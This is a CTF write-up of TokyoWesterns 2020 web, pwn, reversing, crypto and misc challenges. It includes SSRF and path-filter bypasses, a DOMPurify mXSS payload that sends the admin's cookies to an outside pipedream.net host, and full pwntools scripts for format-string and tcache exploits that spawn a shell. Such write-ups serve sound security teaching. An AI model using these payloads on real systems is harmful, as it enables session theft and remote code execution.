TokyoWesterns CTF 6th 2020 Writeup
===

## urlcheck v1 (Web, 98 points)

Solved by _Ozetta_.

Objective: SSRF `http://127.0.0.1/admin-status`
The input needs to fulfil the pattern `'\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z'` and the first octet cannot be 0 or 127, and some other patterns for internal IP addresses. For some reason, `int("0177")` is still 177 instead of 127 in Python, so we can use `http://0177.0.0.1/admin-status`

## urlcheck v2 (Web, 128 points)

Solved by _Ozetta_.

Objective: SSRF `http://localhost/admin-status`
Standard TOCTOU bug, just use DNS rebinding to get access:
`http://23bbd91c.7f000001.rbndr.us/admin-status`

## Angular of the Universe, part one (Web, 139 points)

Solved by _Ozetta_.

Objective of flag 1 is to access `/debug/answer` route in Angular through the nginx proxy, but `debug` is filtered and `/debug` is blocked in nginx.
In nginx, the condition checking is done after path normalization, but the request path is sent to the proxy directly. So `/debug/answer/../..` will pass the filter in nginx. To let Angular avoid the latter paths, we can use double slashes, which is used to separate secondary routes. To bypass the checking in `server.ts`, use `d%65bug` instead of `debug`. Finally, we need some gibberish at the end of the path to avoid redirect, which gives this payload:
`GET /d%65bug/answer//../../a HTTP/1.1`

## bfnote (Web, 320 points)

Solved by _harrier_ and _Ozetta_.

During the CTF, cure53 has attempted to patch a mXSS. In particular, the test case in the commit contains a valid payload exploiting the older versions of DOMPurify: [`<math><mtext><table><mglyph><style><math>CLICKME</math>`](https://github.com/cure53/DOMPurify/commit/02724b8eb048dd219d6725b05c3000936f11d62d#diff-f44bc3a1bfaa31000b8f4f1359dba82aR1085).

Eventually we have constructed the following payload to steal cookies from the admin:

<math><mtext><table><mglyph><style><math><img src=//7a58976474871f9e062175cbd8755cbc.m.pipedream.net/q onerror=location=this.src+document.cookie></math>

## nothing more to say 2020 (Pwn, 111 points)

Solved by _cire meat pop_.

This is a typical challenge on the format string vulnerability. Since NX protection is disabled, it should be possible to overwrite the return address to shellcode that is located on stack. Hence, stack address can be leaked and the return address can be overwritten.

p = remote('pwn02.chal.ctf.westerns.tokyo', 18247)

def fmtp(payload):

    p.sendline(payload)
    return p.recvuntil('> ')[:-3]

p.recvuntil("> ")

payload = "%28$p"
leak = int(fmtp(payload),16)
stack = leak-0x118
ret = stack+0x108
payload = "%7$s||||"+p64(stack)
payload = fmtstr.fmtstr_payload(6, {ret: stack+8}, write_size='byte')
fmtp(payload)
payload = 'q'*8 + asm(shellcraft.amd64.linux.sh())
p.sendline(payload)

p.interactive()

We have the flag: `TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}`. Translating via google: `This is TWCTF, which has begun`. Where has kotoshi gone?

## Online Nonogram (Pwn, 252 points)

Solved by _cire meat pop_.

The vulnerability is that we can overwrite the vector pointer to maze chunks.

First leak heap info, then forge a vector to read the unsortbin pointer. Finally, overwrite free hook with system function by tcache attack and trigger it with `/bin/sh`.

p = remote('pwn03.chal.ctf.westerns.tokyo', 22915)

def calc(off):
    return int(((off+8-1)*8)**0.5)+1

def dele(index):
    p.sendlineafter('Your input: ', '3')
    p.sendlineafter('Index',str(index))
    p.recvuntil('Success')

def add(title, size, payload):
    p.sendlineafter('Your input: ', '2')
    p.sendlineafter('Title: ', title)
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Puzzle: ', payload)

def leakp(index):
    p.sendlineafter('Your input: ', '1')
    p.sendlineafter('Index',str(index))
    p.recvuntil('Row\'s Numbers\n')
    a = p.recvuntil('\nColumn\'s Numbers')[:-17]
    p.sendlineafter(':','q')
    p.recvuntil('invalid choice')
    return a

# leak heap info
offset = 0x400
add('test2', calc(offset), '\0'*offset)
leak = leakp(2).replace('\n','')[2:][::-1][32:]
heap = int(leak,2)
log.info('leak: {}'.format(hex(heap)))
target = heap+0x60
new_heap = heap+0x520
heap_base = heap-0x11f90

# add padding to prevent freed large chunk consolidate with top chunk 
add('pad', 0x10, '\n')
dele(2)

# forge vector and maze chunk
forged_chunk1 = new_heap+0xb0
forged_chunk2 = new_heap+0xe0
forged = flat(new_heap+0x40,new_heap+0x90,0,0,0,0,0,0x41)
forged+= flat(0, target, target, 6,6,6,6,1,0x81)
forged+= flat(0x81, 5, forged_chunk1, forged_chunk2, 0x81,6,6,6,1,0)
forged+= flat(0x81)+ p64(0x81)*40+p64(0x121)*20
forged = forged.ljust(0x400,'\0')
forged+= flat(new_heap, new_heap+0x10, new_heap+0x38)
add('forged', 0x70, forged)

# leak libc info
p.sendlineafter('Your input: ', '4')
p.recvuntil('0 : ')
leak = u64(p.recv(6)+'\0\0')
libc_base = leak-0x1ebfd0
log.info('libc_base: {}'.format(hex(libc_base)))
p.sendlineafter('Index','-1')

# free overlapped chunk to tcache 
dele(1)
add('a', 50, 'a')
add('whatever', 30, 'v'*0x48+p64(0x81)+p64(libc_base+libc.symbols['__free_hook']))
add('whatever', 30, 'whatever')

# write system to free hook
add('q', 30, p64(libc_base+libc.symbols['system']))

# trigger free hook
p.sendlineafter('Your input: ', '2')
p.sendlineafter('Title: ', '/bin/sh\x00'+'\0'*0x100)

p.interactive()

Flag: `TWCTF{watashi_puzzle_daisuki_mainiti_yatteru}`.
Translating via google: `I'm pu → I love you`. WTF?

## Reversing iS Amazing (Reverse, 126 points)

Solved by _Mystiz_.

Open the binary with IDA. We can see that the binary signs `argv[1]` (which should be the flag) with RSA, then compares the signature with a given value. With that said, we have a RSA private key.

Since we have the private key and the target signature (which the message is signed instead of its digest), we can simply recover the message by computing $s^e\ \text{mod}\ n$. Unpadding the message we have `TWCTF{Rivest_Shamir_Adleman}`.

## Tamarin (Reverse, 224 points)

Solved by _harrier_ and _Mystiz_.

We are given an APK for the challenge. As how we work on every single Android reversing challenge, we use `apktool` to decode the file. Noticing that it is developed in Xamarin, we use the Github repository [tjg1/mono_unbundle](https://github.com/tjg1/mono_unbundle) to unbundle `dll.so` to a C# DLL source file. We now have source codes to read!

In particular we have this function:

public static bool Func4(string flag) {
    ParallelOptions parallelOptions = new ParallelOptions {
        MaxDegreeOfParallelism = 4
    };
    byte[] bytes = Encoding.ASCII.GetBytes(flag);
    int length = flag.Length;
    if ((length & 3) != 0) {
        Array.Resize<byte>(ref bytes, length + (4 - (length & 3)));
    }
    for (int i = length; i < bytes.Length; i++) {
        bytes[i] = 0;
    }
    if (bytes.Length != Check.equations_arr.GetLength(0) * 4) {
        return false;
    }
    object lockObj = new object();
    ConcurrentBag<bool> checkResults = new ConcurrentBag<bool>();
    List<List<uint>> list = new List<List<uint>>();
    for (int j = 0; j < Check.equations_arr.GetLength(0); j++) {
        List<uint> list2 = new List<uint>();
        list2.Add(BitConverter.ToUInt32(bytes, j * 4));
        for (int k = 0; k < Check.equations_arr.GetLength(1); k++) {
            list2.Add(Check.equations_arr[j, k]);
        }
        list.Add(list2);
    }
    Parallel.ForEach<List<uint>>(list, parallelOptions, delegate(List<uint> equation) {
        object lockObj = lockObj;
        lock (lockObj) {
            uint num = Check.Func3();
            for (int l = 0; l < 10000; l++) {
                num = Check.Func2(equation, num, equation.Count - 2);
            }
            checkResults.Add(num == equation[equation.Count - 1]);
        }
    });
    return Enumerable.All<bool>(checkResults.ToArray(), (bool x) => x);
}

Additionally, we have a `equations_arr` which is a $22\times32$ matrix. After a bit of reversing, this is how we interpreted the challenge (everything is taken modulo 2^32^):

First we define $m_i$ be the $i$-th block (of 4 bytes) extracted from the flag. Define also the function $f_i$ such that $f_i(x) := m_i + a_{i,1} x + a_{i,2} x^2 + ... + a_{i,31} x^{31}$. The objective is to find $m_i$ such that $a_{i,32} = f_i^{(10000)}(n)$ for all $i = 1, 2, ..., 22$.

What's $n$? It is the output of `Check.Func3()` and it actually is a random number... Is it even solvable?


Turns out it is. We notice that $a_{ij}$ is an even number for $i=1, 2, ..., 22$ and $j=1, 2, ..., 31$. With a bit of deduction (_a bit means few sheets of paper and a lot of time_), we are able to derive a function $g_i$ such that $f_i^{(10000)}(n) = g_i(m_i)$ for all $n$, i.e., this would be a constant.

After all, the last thing is to compute $m_i$. We have the full flag solving $g_i(m_i) = a_{i,32}$:

TWCTF{Xm4r1n_15_4bl3_70_6en3r4t3_N471v3_C0d3_w17h_VS_3n73rpr153_bu7_17_c0n741n5_D07_N3t_B1n4ry}

## easy-hash (Crypto, 75 points)

Solved by _Mystiz_.

The challenge defines a new hash algorithm, `easy_hash`. It is defined by the following function:

def easy_hash(x):
    m = 0
    for i in range(len(x) - 3):
        m += struct.unpack('<I', x[i:i + 4])[0]
        m = m & 0xffffffff
    return m

The objective is to find a collision pair: for `twctf: please give me the flag of 2020`

Mathematically, if $M=m_1m_2m_3\dots m_n$, then $$\text{easy_hash}(M):=\sum_{i=1}^{n-3}\left(\text{0x100}^3m_{i+3}+\text{0x100}^2m_{i+2}+\text{0x100}m_{i+1}+m_i\right).$$

Equivalently it would be

$$
\begin{aligned}
\text{easy_hash}(M) := m_1& + \text{0x101} m_2 + \text{0x10101} m_3 + \text{0x1010101}\sum_{i=4}^{n-3}m_i \\
& + \text{0x1010100}m_{n-2} + \text{0x1010000}m_{n-1} + \text{0x1000000}m_n.
\end{aligned}
$$

Hence, the characters in the middle have the weight 0x1010101 for hash computing. Knowing that `"f" = "F" + " "`, we can simply replace `flag` into ` Flag`.

$ curl "https://crypto01.chal.ctf.westerns.tokyo/" -X POST --data "twctf: please give me the  Flag of 2020"
# Congrats! The flag is TWCTF{colorfully_decorated_dream}

## sqrt (Crypto, 216 points)

Solved by _Mystiz_.

In this challenge, we are given a ciphertext and a prime $p$. The ciphertext $c$ is computed from the message $m$ by $c \equiv m^{2^{64}}\ (\text{mod}\ p)$ - and the objective is of course to recover the flag $m$.

My first attempt is to repeatedly use Tonelli-Shanks 64 times to compute modular square roots. However, it basically takes forever because the number of candidates could double when it go deeper by one level. This means that we will get two candidates for $c^{1/2}$, four candidates for $c^{1/4}$ and so on. The number grows exponentially and definitely would not be feasible.

Fortunately, we can compute $m^{2^{30}}$ from $m^{2^{64}}$ without any hassle. Knowing that $p - 1 = 2^{30}q$, we can compute $d$ for $2^{34}d \equiv 1\ (\text{mod}\ p-1)$. Then $c^d \equiv m^{d\cdot 2^{64}}\equiv m^{2^{30}}\ (\text{mod}\ p)$. Then we can use Tonelli-Shanks for 30 times for the flag... Nope. That is still too slow.

Instead we compute a 2^30^-th root of unity modulo $p$ (denote it as $r$). If we have an candidate $m_0$ such that $c \equiv {m_0}^{2^{64}}$, then the $m$ we want is any of the $m_0, rm_0, r^2m_0, ..., r^{2^{64}-1}m_0$, under modulo $p$. We can easily iterate through. It took me around fifteen minutes to compute the flag - `TWCTF{17s_v3ry_34sy_70_f1nd_th3_n_7h_r007}`.

## twin-d (Crypto, 172 points)

Solved by _harrier_ and _Mystiz_.

This is a RSA challenge. Given a common modulus $n$, a pair of public keys are given such that their private exponents differ by two. Simply put,

$$
\begin{cases}\begin{aligned}
e_2 (d+2) &\equiv 1\ \left(\text{mod}\ \phi(n)\right)\\
e_1 d &\equiv 1\ \left(\text{mod}\ \phi(n)\right)
\end{aligned}\end{cases}.
$$

_harrier_ has observed that $e_2d \equiv 1 - 2e_2$. With this, we can deduce a congruence relation that does not depend on $d$:

$$0 \equiv e_1(e_2d) - e_2(e_1d) \equiv e_1(1-2e_2)-e_2 \equiv e_1 - e_2 - 2e_1e_2\ \left(\text{mod}\ \phi(n)\right).$$

In this case, $e_1 - e_2 - 2e_1e_2$ will be a multiple of $\phi(n)$. We can compute an equivalent private key $d'$ by computing $ed' \equiv 1 \ \left(\text{mod}\ \phi(n)\right)$. Hence it suffices to recover the flag from the ciphertext - `TWCTF{even_if_it_is_f4+e}`.

## The Melancholy of Alice (Crypto, 242 points)

Solved by _Mystiz_.

In this challenge, we are asked to exploit ElGamal cryptosystem. The code supplied is responsible for generating key and encrypting the flag.

N = 1024

def generateKey():
    p = getStrongPrime(N)
    q = (p - 1) // 2
    x = getRandomRange(2, q)
    g = 2
    h = pow(g, x, p)
    pk = (p, q, g, h)
    sk = x
    return (pk, sk)

def encrypt(m, pk):
    (p, q, g, h) = pk
    r = getRandomRange(2, q)
    c1 = pow(g, r, p)
    c2 = m * pow(h, r, p) % p
    return (c1, c2)

Since everything looked pretty legit, we were stuck. Since $p$ is strong, if we write $p := 2q + 1$ then $q$ would be a prime. Alas, the prime is of 1024 bits long. The challenge is very secure, isn't it?

Without any clues, we were messing around. Eventually we tried to factorize $p-1$.



_Wait what?_ Isn't $p$ a strong prime? Why are there so many factors? Turns out we have messed up the definition of strong prime. A strong prime $p$ is basically a prime with $p-1$ having a large prime factor. The desired $p$ they want should be _safe_ but not _strong_.

Okay, back on business. I used $r = 5710354319$ that is a factor of $p-1$. Then the remaining would be easy with discrete logarithm.

# p, q, g, h are redacted to save up some spaces

with open('challenge/ciphertext.txt') as f:
    cs = list(map(eval, f.read().strip().split('\n')))

r = 5710354319
assert (p-1) % r == 0

x = dlog.bsgs(pow(g, (p-1)//r, p), pow(h, (p-1)//r, p), p, r)
assert pow(g, x * (p-1)//r, p) == pow(h, (p-1)//r, p)

ms = b''
m_map = list(map(lambda m: pow(m, (p-1)//r, p), range(0x20, 0x80)))
print(m_map)
for c1, c2 in cs:
    c1 = pow(c1, (p-1)//r, p)
    c2 = pow(c2, (p-1)//r, p)

    m = c2 * powmod(c1, -x, p) % p
    assert m in m_map
    ms += bytes([m_map.index(m) + 0x20])
print(ms)

## XOR and shift encryptor (Crypto, 303 points)

Solved by _Mystiz_.

This is more like a PPC challenge instead of a cryptography challenge. There is a `randgen` function, that serves as the core of the challenge, defined below:

def randgen():
  global s,p
  a = 3
  b = 13
  c = 37
  s0 = s[p]
  p = (p + 1) & 63
  s1 = s[p]
  res = (s0 + s1) & ((1<<64)-1)
  s1 ^= (s1 << a) & ((1<<64)-1)
  s[p] = (s1 ^ s0 ^ (s1 >> b) ^ (s0 >> c))  & ((1<<64)-1)
  return res

They are utilizing the "inefficiency" of the above function to encrypt the flag. In particular, they are using the $k_i$-th output to encrypt the $i$-th character of the flag (while $k_i$ could be up to 2^100^). Of course the naive approach doesn't work - you will wait forever.

However, if we are only considering the state transition (i.e., how `s` is updated), we can see that it only involves bit shifting and XOR. Let's define $s_0, s_1, ...$ be a sequence with $s_i^{(k)}$ be the $k$-th bit of $s_i$. Imagine that the initial state being $(s_0, s_1, ..., s_{63})$ and the subsequent states being $(s_{64}, s_1, ..., s_{63})$, $(s_{64}, s_{65}, ..., s_{63})$ and so on.

We can write transitions under the definition (note that the $+$ operation is actually operated under $\text{GF}(2)$, i.e., it is a XOR):

* $s_{i+64}^{(0)} := s_i^{(0)} + s_i^{(10)} + s_i^{(13)} + s_{i+63}^{(0)} + s_{i+63}^{(37)}$,
* $s_{i+64}^{(1)} := s_i^{(1)} + s_i^{(11)} + s_i^{(14)} + s_{i+63}^{(1)} + s_{i+63}^{(38)}$,
* ...

Hence, we can define a $64^2\times64^2$ transition matrix $T$ over $\text{GF}(2)$ from the above definition. Then if we can compute $T^{m}$, we can easily obtain $s_m, s_{m+1}, ..., s_{m+63}$.

:::warning
**Help.** I personally think it is infeasible to compute the exponentiations since the dimension is large (wouldn't it be $O(m^{2.3737}\cdot\log n)$ to compute $M^n$ for a $m\times m$ matrix?).
:::

Since we can efficiently compute $s_m$ given an arbitrary $m$, it would be easy for us to skip unecessary states and compute the flag: `FAKEFLAG{THIS_IS_FAKE_FLAG}`.

Oops, nope. I mean

TWCTF{1084cd93186a8ab4110c991a7980aae36d77f2_X0R5h1f7+_15_m0Re_c0mp1ex_th4n_y0u_thought_right?1!!}

## circular (Crypto, 370 points)

Solved by _Mystiz_.

There are two endpoints provided, `pubkey` and `verify`. The `pubkey` endpoint returns a fix `n` and `k`.

$ curl "https://crypto02.chal.ctf.westerns.tokyo/" -X POST --data '{"cmd":"pubkey"}'
# {"pubkey":{"n":"25299...","k":"31019..."}}

And one can submit `x`, `y` and `msg` to the `verify` endpoint. It is verifying a signature in the following way:

$$x^2 + ky^2 \equiv \text{hash}(msg)\ (\text{mod}\ n).$$

In particular, you can get the flag when the signature is correct and `msg == 'SUNSHINE RHYTHM'`. Hence, the objective is to solve the quadratic congruence $x^2 + ky^2 \equiv m\ (\text{mod}\ n)$. This is a simplified version of OSS schemes.

I was not aware of the OSS schemes beforehand. I spent some time deriving the solution by myself but in vain. Eventually, I've gave up deriving everything from nothing and came across to Pollard's algorithm (From _An Efficient Solution of the Congruence x^2^ + ky^2^ = m (mod n)_ by Pollard and Schnorr). Moreover, the algorithm is described very clearly in _An Exposition of Pollard's Algorithm for Quadratic Congruences_ by Shallit. I have an implementation of Pollard's algorithm following their procedures.

Supplying $k$, $m$ and $n$ to Pollard's algorithm, we can get $x$ and $y$ rather quickly. Submitting the values to the `verify` endpoint would give us the flag - `TWCTF{dbodfs-dbqsjdpso-mjcsb-mfp}`.

## Birds (Misc, 41 points)

Solved by _cire meat pop_ and _Mystiz_.

Nothing much is given from the challenge description, there are a multiple lines `/^[A-Z]{2}[0-9]{3,4}$/`'s.

BC552
AC849
JL106
PQ448
JL901
LH908
NH2177

After a bit of Googling, those are flight numbers. What do they mean? Let's see where they depart and arrive:

| Flight | Depart from | Arrive to |
| ------ | ----------- | --------- |
| BC552 | OKA | NGO |
| AC849 | LHR | YYZ |
| JL106 | ITM | HND |
| PQ448 | TBS | ODS |
| JL901 | HND | OKA |
| LH908 | FRA | LHR |
| NH2177 | NRT | ITM |

Hmm... We can see some locations shown more than once. There must be some meaning. Let's connect them.

NRT -> ITM -> HND -> OKA -> NGO
FRA -> LHR -> YYZ
TBS -> ODS

By taking the first letter from each of them, we get:

NIHON
FLY
TO

Oh and finally we have the flag: `TWCTF{FLYTONIHON}`. Unfortunately the finals is online this year... (And we are not qualified, too)

## mask (Misc, 26 points)

Solved by _harrier_ and _cire meat pop_.

There is a list of IP addresses and maybe subnet mask in the challenge description.

192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
...

The list is quite long, we suspect that each IP address is representing a character. After multiple unsuccessful attempts, we found the host identifier for the last row is `0b111101`, which is `=` in ASCII... Is it encoded with base64?

import base64

with open('mask.txt') as f:
    s = f.read().split('\n')
    a = ''
    for i in s:
        lr = i.split('/')
        l = lr[0].split('.')
        r = lr[1].split('.')
        a+=chr(int(l[3])&(255^int(r[3])))
    print(base64.b64decode(a))

The output is: `TWCTF{Are-you-using-a-mask?}`

###### tags: `CTF`, `Black Bauhinia`